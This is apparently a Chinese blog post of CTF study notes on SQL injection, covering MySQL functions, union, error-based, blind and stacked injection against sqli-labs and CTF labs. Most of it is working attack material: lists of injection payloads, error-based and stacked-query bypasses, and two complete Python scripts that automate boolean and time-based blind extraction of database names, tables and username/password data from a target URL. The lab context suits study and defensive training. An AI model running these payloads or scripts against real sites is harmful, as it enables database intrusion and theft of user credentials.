SQL注入
SQL注入
小知识点
系统函数
version()——MySQL 版本 user()——数据库用户名 database()——数据库名 @@datadir——数据库路径 @@version_compile_os——操作系统版本
字符串连接函数
1.concat(str1,str2,…)——没有分隔符地连接字符串 2.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串 3.group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据 说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
注入需要用到的函数
Length() //返回字符串的长度 eg:Length(abc) //返回3,表示abc字符串长度为3
Substr() //截取字符串 eg:substr(abc,1,1) //返回a,从abc的第一位开始截,步长为1
mid() //取出字符串的一部分值 eg:mid(abc,1,1) //返回a,从的第一位开取,步长为1,与substr()用法一致
left() //取出字符串左边的几个数据 eg:left(abc,1) //返回a left(abc,2) //返回ab
right() //取出右边的几个数据 eg:right(abc,1) //返回c left(abc,2) //返回bc
ord()与ascii() //返回一个字符的ASCII码值 eg:ascii(s) //返回114
hex() //返回16进制数
一般用于替换的语句
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
union 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。但是UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时每条 SELECT 语句中的 列的顺序必须相同。
其他
extractvalue(1,concat(0x7e,(select @@version),0x7e))
--+ mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
--+ mysql 对 xml 数据进行 查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--+ mysql 重复特性,此处重复了 version,所以报错
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x
字符型注入
sqli-labs 第一关
手工注入
- 判断注入点1' or 1=1 --+正常回显存在注入点
- 获取字段数1 order by 1,2,3 --+一个个尝试,直到报错的前一个为存在字段数
- 联合注入
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询表名
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
查询列名
-1'union select id,username,password from ctfshow_user --+
查询flag
数字型注入
sqli-labs 第二关
手工注入
数字型注入数字后不跟单引号'
-
判断注入点1 or 1=1 --+正常回显存在注入点
-
获取字段数1 order by 1,2,3 --+一个个尝试,直到报错的前一个为存在字段数
-
联合注入
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询表名
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
查询列名
-1 union select id,username,password from ctfshow_user --+
查询flag
布尔盲注
布尔型盲注是由于页面提交数据在与数据交互是完全没有在页面上出现回显数据,只会出现数据提交正确和错误俩种不同页面(报错型至少语法错误会回显错误在页面上)或者无法使用联合查询。
- 判断注入方式(单引号或双引号)?id=1' and (length(database()))>1 --+
- 根据页面回显修改payload,根据页面回显改word为'You are in.....'
- 用脚本跑
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
# print('可显示字符:%s'%str_list)
return str_list # 返回字符列表
def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
db_payload = url + "' and (length(database())=%d)--+" % num
r = requests.get(db_payload)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1
def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = url + "' and (ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
r = requests.get(db_payload)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name
def tb_piece(db_name):
print("开始测试%s数据库有几张表........" % db_name)
for i in range(100): # 猜解库中有多少张表,合理范围即可
tb_payload = url + "' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+" % (
i, db_name)
r = requests.get(tb_payload)
if str in r.text:
tb_piece = i
break
print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
tb_name(db_name, tb_piece) # 进行下一步,猜解表名
def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
tb_payload = url + "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+" % (
i, j)
r = requests.get(tb_payload)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
tb_payload = url + "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+" % (
i, k, ord(l))
r = requests.get(tb_payload)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数
def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(30): # 每张表的字段数量,合理范围即可
column_payload = url + "' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+" % (
j, i)
r = requests.get(column_payload)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名
def column_name(table_list, column_num_list, db_name):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
column_name_length = url + "' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+" % (
j - 1, table_list[t], i)
r = requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
column_payload = url + "' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+" % (
table_list[t], i, j, ord(k))
r = requests.get(column_payload)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list, db_name) # 进行最后一步,输出指定字段的数据
def dump_data(table_list, column_name_list, db_name):
print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[3], column_name_list[9:12]))
str_list = ascii_str()
for i in column_name_list[9:12]: # id,username,password字段
for j in range(101): # j表示有多少条数据,合理范围即可
data_num_payload = url + "' and (select count(%s) from %s.%s)=%d--+" % (i, db_name, table_list[3], j)
r = requests.get(data_num_payload)
if str in r.text:
data_num = j
break
print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[3], i, data_num))
for k in range(data_num):
data_len = 0
dump_data = ''
for l in range(1, 21): # l表示每条数据的长度,合理范围即可
data_len_payload = url + "' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+" % (
i, db_name, table_list[3], k, l)
r = requests.get(data_len_payload)
if str not in r.text:
data_len = l - 1
for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload = url + "' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+" % (
i, db_name, table_list[3], k, x, ord(y))
r = requests.get(data_payload)
if str in r.text:
dump_data += y
break
break
print('[+]%s' % dump_data) # 输出每条数据
if __name__ == '__main__':
url = "http://192.168.184.103/sqli-labs/Less-5/?id=1" # 目标url
str = "You are in" # 布尔型盲注的true&false的判断因素
db_length(url, str) # 程序入口
时间盲注
首先我觉得基于时间的盲注和基于布尔的盲注的最直观的差别就是“参照物”不同,也就是说基于布尔的盲注,其实是可以通过页面的一些变化来进行判断结果!但是有的时候,执行一些sql语句的测试,页面不会有像布尔盲注的时候比较直观的变化,所以这个时候所谓的基于时间的盲注,也就是在基于布尔的盲注上结合if判断和sleep()函数来得到一个时间上的变换延迟的参照,也就可以让我们进行一些判断。
- 首先判断是否为时间盲注时间盲注无论id后输什么页面都没有变化,通过sleep函数得到时间上的变化来判断正确与否
- 然后判断数字后是单引号还是双引号闭合方式?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+修改1后面的单引号或双引号
- 得到闭合方式后,修改payload,用脚本跑
import requests
import time
import string
import sys
headers = {"user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
length = 1
url = 'http://192.168.184.103/sqli-labs/Less-6/?id=1\"'
for l in range(1, 20):
payload = ' and if(length(database())>{0},1,sleep(3))--+'.format(l)
start_time0 = time.time()
rsp0 = requests.get(url+payload, headers=headers)
if time.time() - start_time0 > 2.5:
print('数据库长度为:' + str(l))
length = l
break
else:
pass
for i in range(1,length + 1):
for char in chars:
charAscii = ord(char)
payload = ' and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'.format(i, charAscii)
start_time = time.time()
rsp = requests.get(url+payload, headers=headers)
if time.time() - start_time > 2.5:
database += char
break
else:
pass
print('数据库名字为:' + database)
table = ''
for i in range(1, 30):
for j in range(32, 127):
payload = ' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(3),1)--+'.format(i, j)
start_time = time.time()
rsp1 = requests.get(url+payload, headers=headers)
if time.time() - start_time > 2.5:
table += chr(j)
break
print('数据库中的表有:' + table)
#
field = ''
for i in range(1, 50):
for j in range(32, 127):
payload = " and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))={},sleep(3),1)--+".format(i, j)
start_time=time.time()
r = requests.get(url+payload)
if time.time() - start_time > 2.5:
field += chr(j)
break
print('表中的字段有:' + field)
flag = ''
for i in range(1, 50):
for j in range(32, 127):
payload = ' and if(ascii(substr((select group_concat(username,\'~\',password) from users),{0},1))={1},sleep(3),1)%23--+'.format(i, j)
start_time=time.time()
r = requests.get(url+payload)
if time.time() - start_time > 2.5:
flag += chr(j)
break
print('表中字段值为:' + flag)
堆叠注入
漏洞成因
- 使用
mysqli_multi_query()
这种支持多语句执行的函数 - 使用PDO的方式进行数据查询,创建PDO实例时
PDO::MYSQL_ATTR_MULTI_STATEMENTS
设置为true
时,可以执行多语句
bypass技巧
以[GYCTF2020]Blacklist为例
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject)
获取数据库名、表名、列名
show databases;
show tables;
show columns from `table_name`;
修改表名
此时拼接sql语句的代码肯定是固定从一个表里取出某列的数据,这时候我们修改表名,取出数据来
1、将words表名替换成其他的
2、然后将
1919810931114514
这个表名称替换成words3、在把flag这个字段替换成data
4、最后再插入一个id字段
最终的查询结果就可以输出我们构造的新的words了
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
最后用 1' or 1=1# 把flag打印出来
预编译
1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
用16禁止绕过
Handler
在这次比赛中set
,rename
都被过滤,用handler绕过
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示